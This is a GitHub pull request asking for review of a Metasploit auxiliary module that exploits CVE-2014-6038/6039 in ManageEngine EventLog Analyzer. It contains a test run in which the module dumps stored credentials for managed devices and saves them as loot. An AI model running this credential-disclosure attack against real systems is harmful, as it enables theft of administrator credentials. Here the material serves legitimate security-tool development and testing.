Review Eventlog Analzyer exploit for CVE-2014-6038/6039

Hello @pedrib,

This pull request tries to do minor clean up on https://github.com/rapid7/metasploit-framework/pull/4137, feel free to review, discuss anything and land once you feel comfortable. Please, add the OSVDB identifiers once available and https://github.com/rapid7/metasploit-framework/pull/4137 will be ready to go!!

Test:

```
msf auxiliary(eventlog_cred_disclosure) > run

[+] Got login to 172.16.158.2 | running IBM AS/400 | username: as | password: as
[+] Got login to 198.105.254.228 | running Windows | username: Test\username | password: password

ManageEngine EventLog Analyzer Managed Devices Credentials
==========================================================

 Host             Type        SubType  Domain  Username  Password
 ----             ----        -------  ------  --------  --------
 172.16.158.2     IBM AS/400                   as        as
 198.105.254.228  Windows              Test    username  password

[*] Credentials saved in: /Users/jvazquez/.msf4/loot/20141107205514_eventlog_test_on_172.16.158.132_manageengine.eve_027767.txt
[*] Auxiliary module execution completed
msf auxiliary(eventlog_cred_disclosure) > creds
Credentials
===========

host             service                 public    private   realm  private_type
----             -------                 ------    -------   -----  ------------
172.16.158.2     449/tcp (as-servermap)  as        as               Password
198.105.254.228  0/tcp (Windows)         username  password         Password
198.105.254.228  135/tcp (epmap)         username  password         Password

msf auxiliary(eventlog_cred_disclosure) >
```